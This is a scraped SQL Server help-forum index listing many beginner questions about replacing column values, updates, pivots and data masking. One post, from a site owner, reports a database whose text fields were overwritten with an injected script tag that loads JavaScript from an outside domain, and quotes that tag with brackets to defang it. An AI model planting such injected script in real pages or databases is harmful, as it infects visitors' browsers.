Replacing Data From SELECT/WHERE

Jun 26, 2001

Hi, and tanks for taking time to read this question. I am still a novice at SQL (Server 2000)programming.

Is there a way to replace the contents of a column of a table derivied from SELECT and WHERE statements?

For example,

SELECT * FROM table1
WHERE column1 = 'text'

and replace 'text' with say, 'newtext'

Any help would be appreciated!

Regards,

Chandran

View 5 Replies


ADVERTISEMENT

Replacing Data By Select On Other Tables

Feb 14, 2008

i have following problem: i need to import csv data into a ole db destination. on colum in the csv file is a 'external' customer number but in the destination table there must be an 'internal' customer number. of course there's a table where the mappings between external and internal customer number are defined, but this tables is located on another server. So i have no idea how to solve this problem ... maybe because i'm pretty new to ssis

thanks a lot

View 13 Replies View Related

Date Replacing In SELECT Statement

Oct 26, 2005

In the following simple select statement:


SELECT Selskabsnummer, Plademærkenummer, [Fra dato], isnull([Til dato], getdate()) as [Til dato], Bemærkning
FROM Gramex_DW.dbo.Plademærkelinie WITH (NOLOCK)
WHERE convert(int, Plademærkenummer) = 1
ORDER BY isnull([Til dato], getdate()) ASC


I'm looking for a way to replace the [Fra dato] field with '1900-01-01' if the date earlier than this date. E.g. instances of 1800-01-01 exist.

I'm not looking for an update to the table, but merely a way to manipulate the output, as the front-end I'm developing can't handle pre 1900-01-01 date formats, and I would prefer formatting the data before it reaches he front-end as it would be easier to handle.

/Trin

View 6 Replies View Related

Select Statement For Replacing A Character?

Jan 15, 2007

first of all... hello, forum! im a total newbie

ive been working on this script today and cannot for the life of me get the following employee name format correct...

the data is currently "lastname~firstname" in employee table... i am trying to write a select statement that will take that and remove the "~" (tilde) and replace it with a "," (comma).

how do i get "lastname~firstname" from employee table to display in "lastname,firstname" format?

View 7 Replies View Related

Replacing SELECT With A Value In An OUTER JOIN

Sep 6, 2005

Hi All,I'm confused by how to replace a SELECT statement in a SQL statementwith a specific value. The table I'm working on is a list of words (acolumn called "word") with an index int pointing to the sentence theycome from (a column called "regret"). I also have a table of stop words(called "GenericStopWords") that contains the words I do not want toconsider. That table has a single column called "word".I started off using a SQL function (called "GETALLWORDS") whichreturned the words of a string. This is how I used it:INSERT INTO WordsSELECT wrds.WORD, 1 FROMGETALLWORDS('I could be bounded in a nutshell and count myself a kingof infinite space', default) AS wrdsLEFT OUTER JOINGenericStopWordsON wrds.WORD = GenericStopWords.wordWHERE GenericStopWords.word IS NULLThis statement inserts every word in the sentence that is not a stopword. So, for example, ('bounded', 1) is added but ('could', 1) is notadded.I've now decided to move the function that breaks a string into wordsout of the SQL layer of my application and into the JavaScript whichruns under ASP on the web server. So now I want to call somethinganalogous to the above SQL statement, but word by word. What I'd likeis something like:INSERT INTO WordsSELECT 'bounded', 1 FROM ???LEFT OUTER JOINGenericStopWordsON 'bounded' = GenericStopWords.wordWHERE GenericStopWords.word IS NULLDoes that make sense? I want a SQL statement that will insert the tuple('bounded', 1) into the table Words if (and only if) 'bounded' does notappear in the table GenericStopWords. It's easy to say procedurally, Icannot see how to write it in a relational style in SQL.Thanks in advance for any help you can give.Cheers,Tim.

View 3 Replies View Related

Help - Replacing Data In Tables

Sep 4, 2005

Need to update data from one table with data from another table.

I'm very, very new to MS SQL Server

I have the following two tables.
First table
tblEmp
Field - empno

Second table
tbltemp
Field - oldempno
Field - newempno

tblemp.empno = tbltemp.oldemno

I need to replace the data in tblEmp.empno with tbltemp.newempno where tblemp.empno = tbltemp.oldempo.

Thank you.

View 1 Replies View Related

Urgent: Replacing Data In A Column

Oct 9, 2006

hi.

I have to update a column with new data. I have to replace the values that lay with a certain range. for example

my table has a column called ENI_KEYVALUE1, I have to update the data in this column only where the ENI_KEYVALUE1 is between P6_00001 and P6_00240. The values have to be replaced with values listed sequencially in an excel spreadsheet.

how do I do this???

thanks in advance

View 2 Replies View Related

Something/Someone Compromising Database -- Replacing Data With Javascript

May 19, 2008



Has anyone ever seen this code (I put the script tags in brackets so it would not get embedded in forum page)?



[script src=http://www.qiqigm.com/m.js][/script]



We have a number of MSDE 2000 databases running on a Windows 2003 SBS. These databases feed information to their respective websites. One of our databases (and on this one only) something or someone is somehow overwriting the text and varchar fields in all of the tables in the database and replacing it with the above or similar javascript. I've been a database developer and administrator for a long time and I have not a clue how this is being accomplished. When this code replaces our data, what ends up happening is 1) the virus detectors start going off the chart if you go to the site and 2) the script somehow appears to attempt to mimic the site its taken over.



When I do a search on qiqigm to see if anybody has had this problem before, really the results you get are pages and pages of sites that appear to be infected directly with the same bogus javascript code...and not a word about what it is or where its coming from. In our case, and it appears many others by looking, replacing the product description or title description or ordering information in the database causes the script to be written to the browser where otherwise the product/order information would be. This causes the script to run when the page is loaded. Since it overwrites the data in all fields in all tables, it assures itself that it will get displayed no matter what a user attempts to do on the site.



On this database, the only user that has access to the database is the IUSR_<domainadmin> account.



I restored this particular database a couple of days ago to an uninfected backup. I had done this before, but the script would eventually manifest itself again at some point. This time I have removed the ability to get to the product pages for now until we figure out the problem. This appears to be keeping the beast at bay. So far (2+ days), the database has remained in tact.



Anybody got a clue as to what it is I'm up against?





TIA,





Ray Jefferson

Database Whiz Consulting

2657 Windmill Pkwy #158

Henderson, NV 89074702-376-6955

View 8 Replies View Related

SQL Server 2008 :: Masking / Replacing Sensitive Data In Database?

Oct 8, 2015

when prod db is restored in test server, i have to hide/replace sensitive fields (name, phone etc)Is it doable in SQL 2008 and SQL 2012?

View 5 Replies View Related

T-SQL (SS2K8) :: Pivot Table - How To Get Right Count In First Data Mining Replacing Zeros

Mar 24, 2014

I run this code:

SELECT
Gruppo_Assegnatario,
[100] as stato1, [101] as stato2, [102] as stato3
FROM
(
select

[Code] ...

That extracts only zeros (columns "stato1", "stato2", "stato3"):

Gruppo_Assegnatariostato1stato2stato3
SDB_BE Vita Antiriciclaggio0 00
SDB_BE Vita Assistenza clienti000
SDB_BE Vita Emissione000
SDB_BE Vita Gestione Rendite000
SDB_BE Vita Liquidazioni000

[Code] ....

Unlike the "SourceTable":

select
CASE_ID_,
Stato,
Gruppo_Assegnatario
FROM TicketInevasiPerGruppoEStato
extracts

CASE_ID_ Stato Gruppo_Assegnatario
HD0000003736734 AssegnatoSDB_GBS Variazione
HD0000003736739 AssegnatoSDB_GBS Variazione
HD0000003736743 AssegnatoSDB_GBS Variazione
HD0000003736783 AssegnatoSDB_GBS Variazione
HD0000003736806 SospesoSDB_BE Vita Selezione

[Code] ....

How can I get the right count in the first data mining replacing the zeros (columns "stato1", "stato2", "stato3")?

View 5 Replies View Related

TEXT Data Type Column: Replacing Chars : Why Isn't This Routine Working?

Jul 20, 2005

Hi;I am trying to write a rountine ( below ) that will go into a colum oftext data type ( fae.pmcommnt ) locate the word "to" and replace it.I have the routine below. I get no error messages, but it also seemsto do nothing :).Any clues would be greatly appreciated.ThanksSteve================================================== =============declare @ptrP intSELECT @ptrP = PATINDEX('%to%', pmcommnt)from fae where projid ='00013'declare @ptrPC binary(16)select @ptrPC = TEXTPTR(pmcommnt)from faeif( TEXTVALID ('fae.pmcommnt', @ptrPC ) > 0 )print 'works'print @ptrPUPDATETEXT fae.pmcommnt @ptrPC @ptrP 2 'JJ'select projid, pmcommnt from fae

View 2 Replies View Related

Replacing Active X/VBscript Used In SQL2000 Data Transformations To SQL2005 SSIS

Nov 1, 2006

Hi

I am new to SSIS and have the following problem. I used the following script to clear data in columns of any CR/LF/Commas and char(0)'s. Can I just transfer this to SSIS and how exactly do I do that? Any help or advice would help.

Function Main()

Dim x

For x=1 to DTSSource.count

If Isnull(DTSSource(x)) = False Then

DTSDestination(x) = replace(replace(replace(Replace(DTSSource(x) , chr(13),""),chr(10),""),chr(0),""),","," ")

Else

DTSDestination(x) = DTSSource(x)

End If

Next

Main = DTSTransformStat_OK


End Function

Andre

View 8 Replies View Related

Copy View And User Defined Functions To Another Database Without Replacing Data

Mar 5, 2008

I work on a copy of SQL Server Express on my desktop. After modifying and creating views and user defined functions, I would like to copy and paste them into the working database. Is there a method programmatically of doing this or must I copy and paste the t-sql language from the existing view to the new database--then save the new view on the working database?

View 6 Replies View Related

DB Engine :: Unable To Select Data From A Table Even After Providing Select Access

Aug 28, 2015

I am unable to the access on table even after providing the SELECT permission on table.

Used Query by me :

Here Test is schema ; Card is table ; User is Satish

To grant select on Table

GRANT SELECT ON TEST.Card  TO satish
Even after this it is not working, So provided select on schema also.
used query : GRANT SELECT ON SCHEMA::TEST  TO Satish.

View 8 Replies View Related

Replacing FIRST In VIEWS

Aug 28, 2000

Hi, I'm trying to conver an Access database to SQL 7, but I can't find a easy way to replicate the aggregate function FIRST in SQL, can anyone give me some advise on how to "fake" the FIRST agg function in SQL7? Thanks

View 1 Replies View Related

Replacing Characters In SQL

Aug 13, 2004

I am incorporating a perl script loading data into my SQL Server. If I receive a message with a single backslash I know to replace it with a double backslash \. But what if it is a " double quote what do I need to do to get it to appear as is?

Thanks

View 2 Replies View Related

Replacing Value In Column?

Nov 20, 2013

I want to replace the value in a column with the content from listbox.

I have wrote the code like,

Dim i as Integer
dim sql as string
For i = 0 to Customerslist1.ListCount-1
sql = "UPDATE master (gstl) VALUES(" +chrb(34)+Customerslist1.Cell(i,8)+chrb(34)+")"
app.Gudangstock.SQLExecute(sql)
app.Gudangstock.commit
next
msgbox"insert ok"
UpdateCustomerList1

but no error found and the sql command is not executing.

View 5 Replies View Related

Replacing Blanks

Aug 31, 2005

Nevil Mascarenhas writes "Hi SQL team,

I am just a beginer in SQL

Here is sample output of a SQL query

Alarm No Site Name Startdate Starttime

7767 ABC 20-08-05 00:00
7765 XYZ 20-08-05 00:00
7762 ASD
5453 QWE 22-08-05 01:00

In this above example, I would like to replace blank fields in Startdate and Starttime coloumn with XXX

Output required is

Alarm No Site Name Startdate Starttime

7767 ABC 20-08-05 00:00
7765 XYZ 20-08-05 00:00
7762 ASD XXX XXX
5453 QWE 22-08-05 01:00

Can you please guide me."

View 1 Replies View Related

Replacing Values

Nov 18, 2005

Hi i have 2 cols

col1 col2
A1 21
A2 22
A3 21
A4 23

I want to create a report such that i should see all values of col1 but in col2 i want to show only value of 21 and the remaining should be zero.
So basically all the other values except 21 should be zero in the report but should not be updated in the database.

So the report should look like

col1 col2
A1 21
A2 0
A3 21
A4 0

can you please tell me how to do that

Thanks
vic

Vicky

View 10 Replies View Related

Total Replacing

Jul 20, 2005

Hi,Is it possible to do from one script? We have a set of user's tables like"tbl%". We can get this list very easy using this script:SELECT name FROM sysobjects WHERE xtype = 'U' AND name LIKE 'tbl%' ORDER BYname;We need to change some column names if these names are in a special listthat we have. What can we do? Use FOR EACH ROW? Or what?So, I need to get a column list for each table and check if every columnname is equal to one of the names from the list and then if YES replace itby something or add some symbol to this name. Terrible or possible?Regards,Dmitri

View 4 Replies View Related

Replacing A Character

Jul 30, 2007

Hi

I have a table with column type as ntext. I need to modify the column value. I wanted to replace a given characterstring with another one in this column. Any assistance on this is highly appreciated.

Thanks!
Santhosh

View 1 Replies View Related

Replacing Views In SQL CE

Jan 15, 2008

Hi all,

We are trying to migrate a SQL Server 2005 database/schema onto SQL CE. The original SQL Server 2005 schema uses views. And VIEWs are not supported on SQL CE. What can we use as an alternative?

Here are the option I can think of:


Use Tables instead of views : We are currently using this approach. But the disadvantage is that data remains on the DB. We need to clean and reuse the table everytimeCan we use a DataSet or DataTable instead? Any sample code available?
Can we replace them by some in-memory data structure?

View 3 Replies View Related

Replacing All The ' In A Table

Nov 24, 2006

Hi all

I need to remove all the ' in a table and i am having some problems with the script, any help would be great

Thanks

Richard

View 1 Replies View Related

Replacing Text

Jan 21, 2008

Hi,

I would like to replace all instances of a code that starts with 'GEM' with the word 'Perfect'', and all instances of the code that starts with 'GOLD' replaced with 'Imperfect'.

For example, if I have a table named STONES, and a field within the table STONES.Code contained codes such as 'GEMPART4000', 'GEMPART5000', 'GOLDSIDE2300' and 'GOLDSIDE3000', I want to return the first two codes as the words 'Perfect' for each and the last two codes with the word 'Imperfect' for each.

Similarly, how would it be written so I could select a middle part of the code to use as the trigger to replace the code with something different, e.g. if I wanted to use the 'PART' from the first two codes?

I have discovered that the REPLACE and CASE functions don't work with % (so I am looking for any code that starts with what I stipulate but can end with anything (or using it on either side of the middle part of the code)).

Any help would really be appreciated please.

View 5 Replies View Related

Replacing Column Value

Dec 3, 2007

Hi Guys,

I am faced with a problem that is giving me headaches. I have t1, t2 and t3. I t1 I have students that have a reference to t2 which are the schools they belong to. The problem arises when I see that there is redundancy in t2. There more records for the same schools. This was posible in giving the same school (postcode and name make it the same school) a different ID. In t3 I removed these redundant schools by using fuzzy grouping.

My problem is I want to ensure that the students are put using the schools from t3 instead of t2. So what I need to do is is to replace the redundant id from t2 with the correct id from t3.

Please help. Thans in advance

View 3 Replies View Related

'Select Top 10 * ...' Returns Data But 'Select * ..' Does Not

Dec 7, 2006

HiI have a query that is performing very strangely.I f I put a top statement in it returns rows,soSelect top 10 * from .......returns 10 rowsbut without it then no data is returnedSelect * from ..........returns 0 rows.

View 1 Replies View Related

Help Replacing 'where Not Exists' In A Query

Jul 20, 2007

I am trying to clean up an ugly query that's based on trying to find items that exist in one table but not the other.
My tables are like this:
ITEMSitemID,itemName,itemDescriptionetc...
ORDERITEMSOrderLineID,OrderID,itemID
ORDERSOrderID,OrderCompleted
Currently my query looks something like this:
Select Items.* from ITEMS where not exists (select 1 from ORDERITEMS inner join ORDERS on ORDERITEMS.OrderID = ORDERS.OrderID where ORDERITEMS.itemID=ITEMS.itemID and (ORDERS.OrderCompleted=1))
So this query is looking for ITEMS what don't have a corresponding entry in the ORDERITEMS table.  As I understand it this is pretty inefficient as it is going to be executing the sub query in the Not Exists statement for each entry in the ITEMS table.  Is the preferred method to do something along the lines of somehow making the sub query into a derived table and doing a left or right join?
Thanks for reading!
Ryan

View 7 Replies View Related

Replacing Quotes With Stringbuilder

Aug 2, 2007

Hi, below is the query that i use.update user set user_description=' "+ userDesc +" ' where user_id = 1;userDesc is the value taken from a textbox and is supposed to be used with the update query.userDesc = "kad'nsad'kasnd'nak";The quotes in userDesc is affecting the update. Is there anyway to replace quotes with ' using stringbuilder?

View 1 Replies View Related

Sql Query Replacing Values

Apr 1, 2004

Hi, I have the following query.

sql = "select firstname AS Expr1, lastname AS Expr2, status AS Expr3 from person order by lastname"

Status is either 0,1,2 or 3

How can I use the query to create "a temp Alias" for the query, so that there is a "temp Alias" AS Expr4, AS Expr5, AS Expr6 and AS Expr7.

So if status = 0 then Expr4 = "true" else false
So if status = 1 then Expr5 = "true" else false
So if status = 2 then Expr6 = "true" else false
So if status = 3 then Expr7 = "true" else false

So when the reader reads Expr4 its either true or false.

Is this possible i a query?

View 1 Replies View Related

Replacing A Column With A Foreign Key

Dec 24, 2005

In an *existing* database, how would you remove the City column in the
Employees table, and put in the CityID key column from the Cities table
?

View 2 Replies View Related

Help Please!!! Replacing Returns And Tabs

Jan 10, 2002

Hi,
how can I remove newline characters and tabs from a char field in sql.
We are directing the results from a query to an excel and having the newlines in one of the columns is messing up the whole output.
thanks
Zoey

View 1 Replies View Related

Triggers Replacing FK And Constraints

Mar 1, 2001

I am thrawn at the deep end

I have been given the task of moving certain tables (that have PK, FK Constraints) from an existing Database (A) to form another Database (B) but making sure all the references to other tables in the original DB (A) are not affected. I was talled that triggers can solve this but I am not sure where to start. The Question is what I am looking for to replace, and how ??

Please help !!!!!!
Saad

View 3 Replies View Related

Replacing One Part Of A Number

Dec 1, 2004

I need to change the first digit (0) in a number, like 05678494 and replace it with 0046 so it would look like 00465678494 when it is done.
I have tried to use the REPLACE function without any success.
Can anyone help me?

View 4 Replies View Related







Copyrights 2005-15 www.BigResource.com, All rights reserved